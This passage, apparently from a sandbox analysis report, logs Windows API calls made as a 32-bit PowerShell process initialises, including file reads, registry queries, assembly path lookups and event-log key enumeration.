(hFile=0x324) returned 0x1 [0096.938] SetErrorMode (uMode=0x1) returned 0x1 [0096.938] GetFileType (hFile=0x324) returned 0x1 [0096.938] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.940] GetLastError () returned 0x0 [0096.941] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.942] GetLastError () returned 0x0 [0096.942] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.942] GetLastError () returned 0x0 [0096.942] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.942] GetLastError () returned 0x0 [0096.943] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x8b4, lpOverlapped=0x0) returned 1 [0096.943] GetLastError () returned 0x0 [0096.943] ReadFile (in: hFile=0x324, lpBuffer=0x32ad41c, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32ad41c*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.943] GetLastError () returned 0x0 [0096.943] ReadFile (in: hFile=0x324, lpBuffer=0x32adfc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32adfc8*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.943] GetLastError () returned 0x0 [0096.943] CloseHandle (hObject=0x324) returned 1 [0096.944] GetLastError () returned 0x0 [0096.944] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.944] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.944] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.944] RegCloseKey (hKey=0x324) returned 0x0 [0096.945] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x896733be, Data2=0x46a0, Data3=0x42c4, Data4=([0]=0x95, [1]=0x87, [2]=0xad, [3]=0x7c, [4]=0xd6, [5]=0xd2, [6]=0x6b, [7]=0xc7))) returned 0x0 [0096.946] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xab4f9cca, Data2=0x7bc2, Data3=0x47fa, Data4=([0]=0xb4, [1]=0x2a, [2]=0x5f, [3]=0xde, [4]=0xdf, [5]=0x38, [6]=0x2a, [7]=0x9b))) returned 0x0 [0096.946] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.946] GetLastError () returned 0x0 [0096.946] GetFileType (hFile=0x324) returned 0x1 [0096.946] SetErrorMode (uMode=0x1) returned 0x1 [0096.946] GetFileType (hFile=0x324) returned 0x1 [0096.947] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.949] GetLastError () returned 0x0 [0096.950] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.950] GetLastError () returned 0x0 [0096.951] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.951] GetLastError () returned 0x0 [0096.951] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.951] GetLastError () returned 0x0 [0096.952] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0xe98, lpOverlapped=0x0) returned 1 [0096.952] GetLastError () returned 0x0 [0096.952] ReadFile (in: hFile=0x324, lpBuffer=0x32e450c, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e450c*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.952] GetLastError () returned 0x0 [0096.952] ReadFile (in: hFile=0x324, lpBuffer=0x32e4ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x32e4ed4*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.952] GetLastError () returned 0x0 [0096.952] CloseHandle (hObject=0x324) returned 1 [0096.952] GetLastError () returned 0x0 [0096.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.953] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.953] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.953] RegCloseKey (hKey=0x324) returned 0x0 [0096.954] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x4c8f19b2, Data2=0x1a0f, Data3=0x412a, Data4=([0]=0xbf, [1]=0x90, [2]=0x51, [3]=0xf9, [4]=0xd2, [5]=0x4f, [6]=0xd1, [7]=0x92))) returned 0x0 [0096.955] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x6fa2b19c, Data2=0xad46, Data3=0x4219, Data4=([0]=0xa3, [1]=0x2a, [2]=0x5b, [3]=0x99, [4]=0x16, [5]=0xb7, [6]=0xee, [7]=0x1e))) returned 0x0 [0096.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0096.981] GetLastError () returned 0x57 [0096.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0096.982] GetLastError () returned 0x57 [0097.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0097.013] GetLastError () returned 0x57 [0097.013] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0097.013] GetLastError () returned 0x57 [0097.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.016] GetLastError () returned 0x57 [0097.016] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0097.016] GetLastError () returned 0x57 [0097.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0097.018] GetLastError () returned 0x57 [0097.018] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0097.018] GetLastError () returned 0x57 [0097.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0097.020] GetLastError () returned 0x57 [0097.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0097.020] GetLastError () returned 0x57 [0097.022] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0097.023] GetLastError () returned 0x57 [0097.023] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0097.023] GetLastError () returned 0x57 [0097.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.025] GetLastError () returned 0x57 [0097.025] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0097.025] GetLastError () returned 0x57 [0097.030] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.030] GetLastError () returned 0xcb [0097.031] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.031] GetLastError () returned 0xcb [0097.040] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.040] GetLastError () returned 0xcb [0097.044] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.044] GetLastError () returned 0xcb [0097.050] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.050] GetLastError () returned 0xcb [0097.054] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e8dc | out: phkResult=0x27e8dc*=0x324) returned 0x0 [0097.056] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e92c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e930, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e92c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e930*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.058] RegEnumValueW (in: hKey=0x324, dwIndex=0x0, lpValueName=0x6f7118, lpcchValueName=0x27e954, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27e954, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0097.058] RegEnumValueW (in: hKey=0x324, dwIndex=0x1, lpValueName=0x6f7118, lpcchValueName=0x27e954, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27e954, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0097.058] RegQueryValueExW (in: hKey=0x324, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e934, lpData=0x0, lpcbData=0x27e930*=0x0 | out: lpType=0x27e934*=0x1, lpData=0x0, lpcbData=0x27e930*=0x8) returned 0x0 [0097.059] RegQueryValueExW (in: hKey=0x324, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e934, lpData=0x6f7118, lpcbData=0x27e930*=0x8 | out: lpType=0x27e934*=0x1, lpData="2.0", lpcbData=0x27e930*=0x8) returned 0x0 [0097.135] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e898 | out: phkResult=0x27e898*=0x328) returned 0x0 [0097.136] RegQueryInfoKeyW (in: hKey=0x328, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e8e8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8ec, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e8e8*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8ec*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.136] RegEnumValueW (in: hKey=0x328, dwIndex=0x0, lpValueName=0x6f7118, lpcchValueName=0x27e910, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27e910, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0097.136] RegEnumValueW (in: hKey=0x328, dwIndex=0x1, lpValueName=0x6f7118, lpcchValueName=0x27e910, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27e910, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0097.136] RegQueryValueExW (in: hKey=0x328, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e8f0, lpData=0x0, lpcbData=0x27e8ec*=0x0 | out: lpType=0x27e8f0*=0x1, lpData=0x0, lpcbData=0x27e8ec*=0x8) returned 0x0 [0097.136] RegQueryValueExW (in: hKey=0x328, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27e8f0, lpData=0x6f7118, lpcbData=0x27e8ec*=0x8 | out: lpType=0x27e8f0*=0x1, lpData="2.0", lpcbData=0x27e8ec*=0x8) returned 0x0 [0097.138] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.138] GetLastError () returned 0xcb [0097.141] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0097.141] GetLastError () returned 0xcb [0097.155] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e858 | out: phkResult=0x27e858*=0x32c) returned 0x0 [0097.155] RegQueryInfoKeyW (in: hKey=0x32c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27e8c0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8bc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27e8c0*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27e8bc*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.156] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x0, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.156] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x1, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.156] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x2, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.156] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x3, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x4, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x5, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x6, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x7, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegEnumKeyExW (in: hKey=0x32c, dwIndex=0x8, lpName=0x6f7118, lpcchName=0x27e8dc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27e8dc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0097.157] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x348) returned 0x0 [0097.158] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.158] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x358) returned 0x0 [0097.158] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.158] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x35c) returned 0x0 [0097.158] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.159] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x360) returned 0x0 [0097.159] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.159] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x364) returned 0x0 [0097.159] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.159] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x368) returned 0x0 [0097.159] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.160] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x36c) returned 0x0 [0097.160] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.160] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x370) returned 0x0 [0097.160] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x0) returned 0x2 [0097.160] RegOpenKeyExW (in: hKey=0x32c, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x374) returned 0x0 [0097.161] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e888 | out: phkResult=0x27e888*=0x378) returned 0x0 [0097.161] RegCloseKey (hKey=0x378) returned 0x0 [0097.161] RegCloseKey (hKey=0x32c) returned 0x0 [0097.162] RegCloseKey (hKey=0x374) returned 0x0 [0097.175] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6f78d8, nSize=0x27e9d4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", 